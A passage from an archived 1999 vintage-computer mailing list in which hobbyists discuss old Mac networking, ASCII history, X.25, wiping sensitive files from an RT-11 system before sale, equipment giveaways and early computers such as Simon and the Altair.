of new SE Ethernet cards, but he may have dumpstered them, by now (I will check, tho). The SE I have has a BNC connector sticking out the back, but it's for Radius two-page display card; I seem to recall a similar physical configuration for the SE Ethernet card, tho. My DuoDock box has an old Apple II Ethernet card in it. All my Macs from the SE30 through the hybrid Centris 610/601 PPC Upgrade Card (which is running OS 8.1 and has run OS 8.5) all get along just fine on Ethertalk with the WinNT box included. My next step is to either turn the SE30 into a router, or get a router box (or both, I'm not sure what's needed there), and implement TCP/IP protocol on the network, so that the older Mac stuff (SE through 512k using phonenet) can all live on the same network. Possibly use the WinNT box to gateway to the Internet, after I upgrade to the dual-Pentium 90 motherboard I just acquired. If you have anything running Appleshare 3.61 thru 3.64, upgrade them all to Appleshare 3.65 for more compatibility. Older versions than that on older machines are okay as is. "Recyclable" is the politically-correct term for "Garbage" ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Heavyside on eBay: mailto:native-sun@usa.net http://cgi2.ebay.com/aw-cgi/eBayISAPI.dll?LeaveFeedbackShow&useridto=heavyside ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ From mbg at world.std.com Tue Jan 12 10:17:43 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:02 2005 Subject: "Non-manufacturers" Message-ID: <199901121617.AA18012@world.std.com> >Bell and Howell (Hell and Bowel, Ball and Howl, etc.) made plenty of >their own stuff (mainly peripherels), however. Affectionately (?!) referred to as 'Belch and Growl' by members of Techno-fandom. Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From eric at fudge.uchicago.edu Tue Jan 12 10:31:35 1999 From: eric at fudge.uchicago.edu (Eric Fischer) Date: Sun Feb 27 18:40:02 2005 Subject: Old ASCII (was: Re: Stupid CP/M question) In-Reply-To: <199901111906.LAA13329@saul2.u.washington.edu> References: <199901111906.LAA13329@saul2.u.washington.edu> Message-ID: <199901121631.KAA03819@fudge.uchicago.edu> > From: "D. Peschel" > Second version - 1968 (?) - The one I mentioned. The same as ours except > for the underline being a left arrow and the caret being an upward-pointing > arrow. I think the control characters had their modern names I don't think that's correct. The original (1963) version of ASCII used an up-arrow and left-arrow instead of caret and underline, but by the time of the proposed extension to lowercase (1965) these had changed to their current shapes. By the way, R. W. Bemer's article in the May, 1978 Interface Age seems to indicate that he would have preferred that ^ and _ be used right from the start, but that Teletype had already manufactured equipment with the arrow symbols so that was how they appeared in the first standard. There's no mention of this in the August, 1963 Communications of the ACM, though. eric From Hans.Franke at mch20.sbs.de Tue Jan 12 11:33:30 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:02 2005 Subject: Ink printers(wasSociology and Message formatting) In-Reply-To: References: <199901111842.SAA12063@nixpbe.pdb.sni.de> Message-ID: <199901121634.QAA06159@nixpbe.pdb.sni.de> > > > By the time I was in high school dittos were a distant memory. To put it > > > in (classiccmp) perspective, by that time inkjets were still on the > > > horizon and dot matrix printers were still the shit. > > Of what time you are talking ? In 1979 I had to do some > > maintenance for ink jet printers - 4 weeks in a small > > room between spare parts and nothing else to do but > > adjustind ink timing and cleaning these bloody heads. > > Ink jet was in fact already in wide use at this time - > > for example all teminal systems in the tax office here > > in Munich where equipped with ink jet printers as hard > > copy/form printing devices. > When I entered high school in 1987 InkJet printers were just hitting the > mass consumer market. My memory could be wrong however. But I don't > remember anything other than fast dot matrix printers being all the rage > then. To have an ImageWriter II at that time was a very cool thing. No, your memory is still ok (At least we have a similar bit failiure :) - In the mass market, ink jet printers occured around the late 80s, while they have been on the PC market since early 80s, but at inacceptable prices, and thy have been around since the mid 70s. If Xerox is big in not marketing PARC ideas, SIEMENS has at least the same attitude about some developments. They invent _great_ pices of hardware, somtimes years ahead, but sell them only for a very special purpose, an always miss the mass market. The ink printer technology was developed thru the 70s until a stage where it could work reliable (even when handled by a tax clerk :). They have been twice to four times faster than any dot matrix printer (at this time) with an comperable quality. SIEMENS sold 'big' nubers of ink printers as hard copy / remote printing stations, but they completly ignored the upcomming PC/small business market until 1985, to come up with a new generation (different interfaces, from SS97 and RS432 to RS232, paralell and even C64 serial), still a good printer, but now inferior to already available 9 and more pin NLQ printers (at a much lower price) ... Similar for laser Printers - SIEMENS still holds som 70% of the big laser printer market worldwide (direct or thru OEM), but they never managed to come up with a desktop unit (CC-fact: they used DEC PDP processors for the print controll :). Gruss H. -- Ich denke, also bin ich, also gut HRK From mbg at world.std.com Tue Jan 12 10:40:30 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:02 2005 Subject: PRO-350 looking for home... Message-ID: <199901121640.AA11074@world.std.com> Posted on comp.sys.dec.micro, contact the person listed, not me: - - - - - Hello, I've got the following stuff I'd like to get rid of - time to clean out the closets - a PRO 350 with a RD52 with the graphics adapter and a net card, plus it's got daughterboards with the one meg conversion I installed and a monitor and keyboard. Works fine. I'm willing to part this thing out as it's too heavy to actually ship anywhere whole . . . . please email jboldway@cottagesoft.com - - - - - From mbg at world.std.com Tue Jan 12 10:43:47 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:02 2005 Subject: PDP-11/35 looking for a home Message-ID: <199901121643.AA14625@world.std.com> From dastar at ncal.verio.com Tue Jan 12 10:54:38 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:02 2005 Subject: supers In-Reply-To: <015c01be3e09$7b236ea0$c52c67cb@canopus.stmarks.pp.catholic.edu.au> Message-ID: On Tue, 12 Jan 1999, Geoff Roberts wrote: > >Whether participating in distributed crypto challenges (like RC5) > >qualifies as "unsavory" is yet to be determined. > > Nah. I suppose some might think it "unsporting", but it's just > jealousy...:^) I don't think that's unsporting at all. With the latest and greatest Pentium, all you have to do is plug a stupid little mini-tower into a wall outlet. Victor and his gang will have to haul this huge behemoth home, then figure out how to get the right power to it, then figure out how to get the right cooling into it, then *pay* for that power and cooling to run it, etc. If anyone is audacious enough to take on such a challenge then they deserve the advantage :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From cswiger at wilma.widomaker.com Tue Jan 12 10:55:04 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:40:02 2005 Subject: Berkeley Enterprises 1956 Report Message-ID: >In anticipation of such strawman arguments, I focused on Simon because it >shares almost all of the same traits as the Altair: > * digital > * electronic (or electromechanical, in the case of Simon) > * small > * affordable to build > * well publicized Ok, well, one of the criteria of the Patent office for registered 'firsts' is that it must have utility! What makes it fun, promising, useful as opposed to an academic intellectual curiosity? We read about early logic devices with interest, but the Simon seems to lack a certain critical mass to generate widespread enthusiasm, it's basically an ALU unit. That's like claiming a horizontal output unit, affordable to a home user, was the 'first TV', even tho a sophisticated hobbyist could buy it and use it as a part of a larger project that could actually do something useful. There's nothing really there that would cause thousands of hobbyists to get excited over the possibilities enough to rush out and plop down four grand and swamp the manufacturer with so many orders they couldn't keep up. But we want to know more - was the tape program storage, could it make decisions and branch based on comparisons, scalable, etc. Chuck cswiger@widomaker.com From dastar at ncal.verio.com Tue Jan 12 11:03:18 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:02 2005 Subject: Dr. Dobb's article In-Reply-To: <000c01be3e41$56b3e8a0$bb88e9cf@yamato.chipware.com> Message-ID: On Tue, 12 Jan 1999, Bill Sudbrink wrote: > If you haven't seen it yet, the February Dr. Dobb's > has a 3/4 page blurb about computer collecting and > Kevin Stumpf's > > _Guide_to_Collecting_Computers_and_Computer_Collectibles_ > Does said author subscribe to this list? Yes. > Has anyone seen the book for sale and/or bought/read it? Yes. You can order a copy off the Vintage Computer Festival website (http://www.vintage.org/vcf). Information is found down the page so when you get there scroll down a little. $18 + s/h. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Tue Jan 12 11:16:56 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:02 2005 Subject: supers In-Reply-To: Message-ID: On Tue, 12 Jan 1999, Sam Ismail wrote: > On Tue, 12 Jan 1999, Geoff Roberts wrote: > > > >Whether participating in distributed crypto challenges (like RC5) > > >qualifies as "unsavory" is yet to be determined. > > > > Nah. I suppose some might think it "unsporting", but it's just > > jealousy...:^) > > I don't think that's unsporting at all. With the latest and greatest > Pentium, all you have to do is plug a stupid little mini-tower into a wall > outlet. Victor and his gang will have to haul this huge behemoth home, > then figure out how to get the right power to it, then figure out how to > get the right cooling into it, then *pay* for that power and cooling to > run it, etc. > > If anyone is audacious enough to take on such a challenge then they > deserve the advantage :) Ok, upon reading further it seems that this is not quite the challenge that I had imagined, but still, if they have to carry this up a flight of steps or something then they deserve the advantage :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From Hans.Franke at mch20.sbs.de Tue Jan 12 12:34:47 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:02 2005 Subject: X.25? In-Reply-To: <199901100045.QAA03266@geocities.com> Message-ID: <199901121735.RAA08526@nixpbe.pdb.sni.de> > Wired (no, I don't usually read it) reports that hackers were intending to > disable Iraqui computer networks, which were supposedly accessible by > dialup, and using a 'vintage' protocol called X.25. Could someone tell me > what sort of protocol this is and what machines it's likely to involve? X.25 is an ITU (CCITT) standard for packet switching networks. Basicly like IP (or better TCP/IP, since it is connection orientated), and in fact, before the IP boom of the last 5 years X.25 networks have been the mayor carriers. They are still common, and the infra- structure ist still available around the world. There are PADs (Packed Assembly/Dissasembly) units to offer async (and sometimes sync) connetions for 'dump' (non X.25) units, or you have to use a interface, capable of X.25. X.25 connections are leases lines in most cases, while connections via a PAD was leasd line or dial up connections. To build up a connection a NUA (Network User Address) is used, which is structured like a international telephone number (maximum 15 digits). When using a dial up line, a terminal had to be identified by a NUI (Network User ID) and a password. Connection speed run from 300 to 2400 Bd for dial ups and 1200 to 64 for leased line (at least here in Germany) - more than 64K waspossible, but not afordable :) For performance, security and scalability, X.25 outperforms TCP/IP clearly as an wide area network. on a simple view, X.25 could be compared to ATM networks (althrough the QOS was less controlable). Beside this (worldwide) public X.25 Networks, that behavied like the telephone system (from a users view), private X.25 Networks are very common in use at telcos and power (network) companies for internal/controll purposes. There are still new installations. Gruss H. -- Ich denke, also bin ich, also gut HRK From ckaiser at oa.ptloma.edu Tue Jan 12 11:49:46 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:02 2005 Subject: Tomy Tutor page updated Message-ID: <199901121749.JAA10888@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 886 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/a741bb71/attachment.ksh From william at ans.net Tue Jan 12 11:55:14 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:02 2005 Subject: supers In-Reply-To: Message-ID: > I don't think that's unsporting at all. With the latest and greatest > Pentium, all you have to do is plug a stupid little mini-tower into a wall > outlet. And still get only a fraction of the speed of even a ca. 1976 Cray-1, let alone a modernish Y/MP based system... William Donzelli william@ans.net From cmcmanis at freegate.com Tue Jan 12 11:58:56 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:02 2005 Subject: What's a VAX 6000/300 ? Message-ID: <4.1.19990112095534.009d4ea0@mailhost.hq.freegate.com> My guess is that it isn't "classic" yet, but there is a nice example of one at Berman for _next week's_ auction. (unless they are saving it and the tape drive for someone) --Chuck From cmcmanis at freegate.com Tue Jan 12 12:30:46 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:02 2005 Subject: Kids w/ Computers ( was Re: _Way_ OT: dollar coins was Re: Y2K stuff) In-Reply-To: <13419314478.10.DSEAGRAV@toad.xkl.com> References: <199901121457.GAA13996@oa.ptloma.edu> Message-ID: <4.1.19990112102549.009ce2c0@mailhost.hq.freegate.com> Actually I've taught her a bit of PDP-8 assembler but as responsible as she is, she is still 8 and doesn't always treat things correctly when unsupervised. Also I don't have any sort of graphics support for the PDP-8 so the C-64 seemed a good alternative. A couple of people have suggested an Apple II, which would be ok as well, but the ability to use a C64 with a TV is a win here as well. --Chuck At 06:56 AM 1/12/99 -0800, you wrote: >[Teaching a kid BASIC] > >No! Not BASIC! Anything but THAT! ARRRRRRGH! :) > >Why not teach her assembler? Start from the bottom... >------- From ckaiser at oa.ptloma.edu Tue Jan 12 12:38:06 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:02 2005 Subject: Kids w/ Computers ( was Re: _Way_ OT: dollar coins was Re: In-Reply-To: <4.1.19990112102549.009ce2c0@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 12, 99 10:30:46 am Message-ID: <199901121838.KAA09474@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 686 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/50cbddc1/attachment.ksh From rhblake at bigfoot.com Tue Jan 12 12:35:29 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:02 2005 Subject: IBM type 4836? Message-ID: <369B95F0.E8E93631@bigfoot.com> A friend asked me about what he says is an IBM unit that is running Windows 3.1 and he says it says a type 4836. That number isn't clciking with me, anyone have any ideas of what this is, or is he possibly reading a tag from an add-on/in card? I saw a reference in IBM Finland to a 4836 multiplatform emulation card but nothing else. From jhfine at idirect.com Tue Jan 12 12:37:03 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:40:02 2005 Subject: RT-11 Help References: <199901121549.AA03657@world.std.com> Message-ID: <369B964F.6C1B710B@idirect.com> >Megan Gentry wrote: > >I dont know RT-11 (yet.) and am looking forward to the experience. But > >before that happens the seller wants to purge some sensitive employee > >files on the system. Can someone tell me how to tell him to 1) move > >through the directory structure, and 2) how to delete specific files ( > >some that span partitions 0 - du4 according to him ), and... > On RT-11, as with many OSes, deletion of a file simply updates the > directory in some way to indicate that the file is deleted. In some OSes, > it might mean removal of the directory entry which pointed to the data on > disk (or the list of pointers to retrieve the info). In some, it may be > to mark the directory entry as a deleted file. > > In the case of RT-11, it marks the disk space taken up by the file to be > 'free'. But until another file is written over that data, it remains, > and can be retrieved. > > What they can do, however, is to delete all those files which they don't > want anyone to have access to, and then to 'SQUEEZE' the disk volume. > The squeeze process is similar to what Windoze does when it defragments > a disk volume, only RT-11 files are not fragmented - they exist as > contiguous files. But the files are all moved to the beginning of the > disk (low block numbers) with all the free space consolidated to the > end of the disk (higher block numbers). This will result in at least > those deleted files which existed between others being overwritten > with files being moved. The only problem might be a deleted file at > the end of the volume (or if the quantity of deleted files are sufficient > that the moved files don't adequately cover the deleted ones). It > should be possible to write a very short program which will determine > the last block used on the (squeezed) volume, and to write null blocks > to all disk blocks from there to the end of the volume. > > Finally, RT-11 files cannot span RT-11 disk partitions. An RT-11 > file can only exist in the partition in which it is defined. It is > possible, however, for a user application to make use of the system > library routines which allow full access to an MSCP disk -- in which > case doing the squeeze won't help. > > What you may want to suggest to him is to > > 1) Delete all sensitive files from all disk partitions > 2) Squeeze all disk partitions. > 3) backup all disk partitions (on a file, not device, basis) > 4) FORMAT all disk partitions (RT-11 Format doesn't really > do a low-level format except for specific devices, and > MSCP disks are not one that it will do -- with the > exception of RX33 diskettes) > 5) Restore the backed-up files to all partitions. > 6) Release the hardware to you... :-) > > >Where can I find a good source of RT-11 info? > > Not counting the documentation which can be purchased for it... > > right here is a good place... :-) Jerome Fine replies: You have omitted even a general idea of the hardware involved like how many partitions there are and what drive is being used. I was going to suggest the same things that Megan Gentry has noted with some simplifications. The key is to note that, as Megan Gentry has emphasized, the data can still be on the partition even if the directory has been squeezed. While a format operation will likely be the best assurance that all sensitive data has been erased, it likely would not be satisfactory for a military requirement where residual traces can be detected after many overwrites. Consequently, if the managers would be satisfied with a simple zeroing of all the potential sensitive data, then what I have done in the past under the same circumstances is to create a 1 block file full of either all zeros or 1s (takes much longer) with the SIPP program if you can't already find such a block. Then, after you have squeezed all the directories and have ONLY the permissible files left, simply copy the zero file a number of times until you have a pile of them, maybe 10. Then delete the 10 * 1 block files and CREATE a new 10 block file of zeros in the same place. That leapfrogging can quickly get you a 5000 block file of all zeros and since the maximum partition can take only 12 * 5000 blocks (plus a few more), you can fill a partition very quickly with all zero files: ZERO.A, ZERO.B, ZERO.C, ZERO.D, etc. If any of the partitions are empty of all retained files, just copy one whole partition onto another partition - not much faster, but a little. Once you have filled all the partitions up with ZERO.* files that you have written yourself, there can't be anything left except BLOCK 65535 in every RT-11 partition (except the last partition) which is not normally available, but can be overwritten via a COPY/DEVICE command. Note that the use of ZERO.* files avoids the requirement of doing a low level format operation and may be just as acceptable as backing up all the files you want to retain. Plus, management can actually see that all empty space has been overwritten. I believe that Mentec sells a full set of DOCS (about 3' in the 13 binders) for about $ US 1300. You can also buy the V5.7 H-kit for about $ US 1600, or it was the last time I was given the price. V5.7 is Y2K compatible, but Y2K patches (obviously not the official version - and not for every single RT-11 utility due to lack of interest) are available for V5.4G of RT-11 and will be available for V5.3 of RT-11 by about the 3rd quarter of 1999, sooner if there is sufficient interest, VERY SOON if someone wants them for commercial use. I know that Megan Gentry and many other RT-11 devotes frown on the non-official Y2K solution for early versions of RT-11. If anyone reading this wants to inquire, please add your 2 cents. Anyone who insists on a complete Y2K V5.7 of RT-11 is free (or actually "cost") to do so at whatever price they want to pay. Of course, I have been led to believe that Mentec will fix any bugs in V5.7 that remain, but you have better get that in writing if you are depending on that to be done. Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From dastar at ncal.verio.com Tue Jan 12 12:43:50 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:02 2005 Subject: Kids w/ Computers ( was Re: _Way_ OT: dollar coins was Re: Y2K stuff) In-Reply-To: <4.1.19990112102549.009ce2c0@mailhost.hq.freegate.com> Message-ID: On Tue, 12 Jan 1999, Chuck McManis wrote: > Actually I've taught her a bit of PDP-8 assembler but as responsible as she > is, she is still 8 and doesn't always treat things correctly when > unsupervised. Also I don't have any sort of graphics support for the PDP-8 > so the C-64 seemed a good alternative. A couple of people have suggested an > Apple II, which would be ok as well, but the ability to use a C64 with a TV > is a win here as well. YOu can use an Apple ][ with a TV just as easily. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From SUPRDAVE at aol.com Tue Jan 12 12:50:02 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:40:02 2005 Subject: IBM type 4836? Message-ID: <2952773f.369b995a@aol.com> In a message dated 1/12/99 10:39:08 AM Pacific Standard Time, rhblake@bigfoot.com writes: << A friend asked me about what he says is an IBM unit that is running Windows 3.1 and he says it says a type 4836. That number isn't clciking with me, anyone have any ideas of what this is, or is he possibly reading a tag from an add-on/in card? I saw a reference in IBM Finland to a 4836 multiplatform emulation card but nothing else. >> well, if the numbers are swapped around, could be 6384 valuepoint... From gram at cnct.com Tue Jan 12 13:08:34 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:02 2005 Subject: Kids w/ Computers ( was Re: _Way_ OT: dollar coins was Re: Y2K stuff) In-Reply-To: <4.1.19990112102549.009ce2c0@mailhost.hq.freegate.com> Message-ID: You do realize that you'll be on Nickels Worth's fecal roster. Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor On Tue, 12 Jan 1999, Chuck McManis wrote: > Actually I've taught her a bit of PDP-8 assembler but as responsible as she > is, she is still 8 and doesn't always treat things correctly when > unsupervised. Also I don't have any sort of graphics support for the PDP-8 > so the C-64 seemed a good alternative. A couple of people have suggested an > Apple II, which would be ok as well, but the ability to use a C64 with a TV > is a win here as well. > > --Chuck > > At 06:56 AM 1/12/99 -0800, you wrote: > >[Teaching a kid BASIC] > > > >No! Not BASIC! Anything but THAT! ARRRRRRGH! :) > > > >Why not teach her assembler? Start from the bottom... > >------- > > > From yowza at yowza.com Tue Jan 12 13:15:25 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:02 2005 Subject: Dr. Dobb's article In-Reply-To: <000c01be3e41$56b3e8a0$bb88e9cf@yamato.chipware.com> Message-ID: On Tue, 12 Jan 1999, Bill Sudbrink wrote: > _Guide_to_Collecting_Computers_and_Computer_Collectibles_ > > Does said author subscribe to this list? Kevin's on and off the list, currently off I think. > Has anyone seen the book for sale and/or bought/read it? I posted a review of the book just after the last VCF. Summary: you'll laugh, you'll cry, get the book. (OK, it's a book about computer collecting, the only one I know of, and it includes anecdotes from a few people you may know from hanging around the net). --- Doug From yowza at yowza.com Tue Jan 12 13:24:00 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:02 2005 Subject: Weird find, QNX, and cooling In-Reply-To: <199901121609.LAA19242@quartz.netsync.net> Message-ID: On Tue, 12 Jan 1999, Christian Fandt wrote: > What kind of manufacturer names are on this thing? It's a Lance Deeco (great name). It looks like they merged with another company about a month ago, so Deeco is no more. > >Long shot: the display blanks after a few minutes, and hitting a key (it > >has a keyboard port) or touching the screen doesn't unblank it. Any > > Hard to tell without knowing something about the software written for the > thing. Of course, it is not hung on the original machine at this time so > there could be some sort of interconnection which would keep the controller > running. Though the display blanks this could be related to a feature in > just the display panel, not so much the controller. I feel the CPU is > halted early on as there are no periferals to be found, so the OS hangs > thus not keeping the display 'alive'. I haven't figured out for sure if its software blanking or a hardware problem, but it looks like the latter. I figured out how to get a login from the serial port (QNX looks slightly like Unix, except for device management -- I could use a manual if somebody has a spare), so I can continue using the box after the dispay blanks. -- Doug From rhblake at bigfoot.com Tue Jan 12 13:37:03 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:02 2005 Subject: IBM type 4836? References: <2952773f.369b995a@aol.com> Message-ID: <369BA45F.2AD7667D@bigfoot.com> SUPRDAVE@aol.com wrote: > In a message dated 1/12/99 10:39:08 AM Pacific Standard Time, > rhblake@bigfoot.com writes: > > << A friend asked me about what he says is an IBM unit that is running > Windows 3.1 and he says it says a type 4836. That number isn't clciking > with me, anyone have any ideas of what this is, or is he possibly > reading a tag from an add-on/in card? I saw a reference in IBM Finland > to a 4836 multiplatform emulation card but nothing else. >> > > well, if the numbers are swapped around, could be 6384 valuepoint... That was sort of my thought too but he tends to stick to the 4836. I'll have to probably look it it physically since there are so many numbers he could pull, especially "under the hood". At first I thought he said "system 36" but then he said Windows. I knew that thought was wrong other than maybe he could see it in his car through his windows (grin). From yowza at yowza.com Tue Jan 12 13:45:32 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:02 2005 Subject: Berkeley Enterprises 1956 Report In-Reply-To: Message-ID: On Tue, 12 Jan 1999, cswiger wrote: > Ok, well, one of the criteria of the Patent office for > registered 'firsts' is that it must have utility! What > makes it fun, promising, useful as opposed to an > academic intellectual curiosity? I could ask the same about the Altair when it first came out -- no software, no real I/O, and only a few bytes of memory. > We read about early logic devices with interest, but > the Simon seems to lack a certain critical mass to > generate widespread enthusiasm, it's basically an ALU > unit. I beleive the PDP-8 has eight instructions in its instruction set. Simon has nine :-) I don't know how to program one yet, but I believe there are control instructions as well as ALU and storage instructions. > That's like claiming a horizontal output unit, > affordable to a home user, was the 'first TV', > even tho a sophisticated hobbyist could buy it and use it > as a part of a larger project that could actually do > something useful. There's nothing really there that would cause > thousands of hobbyists to get excited over the possibilities > enough to rush out and plop down four grand and swamp the > manufacturer with so many orders they couldn't keep up. Well, you have to remember that Simon was made around 1950, when very few computers existed on the planet and the very *concept* of computing was foreign to just about everybody. In spite of, or perhaps because of this, Radio Electronics did a series of articles about building Simon over about a year. Who can say how many future computer scientistics Simon influenced? And, to me, influence is what we're talking about when we talk about the *first* something. All I know for certain is that at least one budding computer scientist was haevily influenced by Simon: Ivan Sutherland. Sutherland went on to heavily influence interactive computing and the GUI. To me, this makes Simon the closest thing we have to an "Eve", the first progenitor of the interactive personal computer. > But we want to know more - was the tape program storage, > could it make decisions and branch based on comparisons, > scalable, etc. The paper tape *reader* couldn't be used for storage, but it was used to read in programs and data. The memo I posted talks about Magdum, the magnetic drum, being interfaces for external storage. The report does mention comparison operations, I believe. But don't ask for too much. This was *1950*, 25 years before the Altair, several years before transistors, a time when the number of computers on the planet could probably be counted on fingers and toes. I find this literally awesome. Bow down before Simon! We are not worthy. -- Doug From yakowenk at cs.unc.edu Tue Jan 12 13:56:27 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:02 2005 Subject: Silent 700 Message-ID: <199901121956.OAA09734@dgs.cs.unc.edu> Hey all, I've got a TI Silent 700 printing terminal, not the portable one, but the big desktop kind of thing. It reminds me of a DecWriter. But as near as I can tell, a couple boards are missing from its internal card-cage. So... 1) Does anybody know these things well enough to help me figure out for sure if it has all of its guts? 2) Is anybody interested in owning all or part of it? Even if I can get it to work, I'm not terribly interested in keeping it for myself. Cheers, Bill. From hansp at digiweb.com Tue Jan 12 13:43:22 1999 From: hansp at digiweb.com (Hans B Pufal) Date: Sun Feb 27 18:40:02 2005 Subject: RT-11 Help References: Message-ID: <369BA5DA.76F6DBDC@digiweb.com> Zane H. Healy wrote: > >Where can I find a good source of RT-11 info? > > The RT-11 manuals, and good luck finding a set :^( I found two books at ACONIT which I plan on studying : Programming with RT-11 Volume 1 Program Development Facilities by Simon Clinch and Stephen Peters Digital Press isbn 0-932376-32-0 and Programming with RT-11 Volume 2 Callable SYstem Facilities by Simon Clinch and Stephen Peters Digital Press isbn 0-932376-33-9 These are in the RT-11 Techincal User's series which also includes Working with RT-11 and Tailoring RT-11 : System Management and Programming Facilities Look to be useful books... Regards, _---_--__-_-_----__-_----_-__-__-_-___--_-__--___-__----__--_--__-___- Hans B Pufal Comprehensive Computer Catalogue From yowza at yowza.com Tue Jan 12 15:08:56 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:02 2005 Subject: Weird find, QNX, and cooling In-Reply-To: Message-ID: On Tue, 12 Jan 1999, Doug Yowza wrote: > > What kind of manufacturer names are on this thing? > > It's a Lance Deeco (great name). It looks like they merged with another > company about a month ago, so Deeco is no more. Ooops, that's Lucas Deeco. From the little I've read, they had a good rep for rugged stuff, but it was considered to be pretty pricey, even for that already pricey market. -- Doug From meo at netads.com Tue Jan 12 15:30:49 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:02 2005 Subject: y2k stuff In-Reply-To: <199901121403.OAA25482@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 12, 99 03:03:23 pm Message-ID: <199901122130.PAA08153@wildride.netads.com> Hans Franke said... | |> > I love your comments (and I guess you had also some contact with |> > these 9 Bit Byte Bull Mini computers :) I think it was Hughes that made 18 bit and 36 bit computers, too. 9 bit byte machines weren't exactly common in the 60s and 70s, but they weren't exactly rare, either. |6 Bit ? thats new - I never have seen a 6 Bit byte computer - I |know 6 Bit only from some serial line encodings. The CDC Cybers (at least the 60 and 70 series systems) used 6 bit bytes, and 60 bit words. So one word held 10 characters. Upper case only, of course, but they did something (I forget what) to extend that (I forget what) to include lower case, and pretty much the whole ASCII character set. I'll have to scrounge up the old NOS guide... -Miles From meo at netads.com Tue Jan 12 15:42:45 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:02 2005 Subject: RT-11 Help In-Reply-To: <199901121549.AA03657@world.std.com> from "Megan" at Jan 12, 99 10:49:51 am Message-ID: <199901122142.PAA08220@wildride.netads.com> Megan said... [SQUEEZE command info] |The only problem might be a deleted file at |the end of the volume (or if the quantity of deleted files are sufficient |that the moved files don't adequately cover the deleted ones). It |should be possible to write a very short program which will determine |the last block used on the (squeezed) volume, and to write null blocks |to all disk blocks from there to the end of the volume. Dunno about RT11, but VMS also has the /ERASE option on the DELETE comand, to write a pattern over the old file. Somewhere I've seen another version that had a parameter for the number of times to overwrite the file... Anyway, VMS help is online! http://www.ceri.memphis.edu/help/@SYS_HELP -Miles From dastar at ncal.verio.com Tue Jan 12 15:55:28 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:02 2005 Subject: Silent 700 In-Reply-To: <199901121956.OAA09734@dgs.cs.unc.edu> Message-ID: On Tue, 12 Jan 1999, Bill Yakowenko wrote: > Hey all, I've got a TI Silent 700 printing terminal, not the > portable one, but the big desktop kind of thing. It reminds > me of a DecWriter. But as near as I can tell, a couple boards > are missing from its internal card-cage. So... > > 1) Does anybody know these things well enough to help me figure > out for sure if it has all of its guts? I have many of the portable ones and one of the desk-bound type. I'll look inside mine today and report back what I find. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being 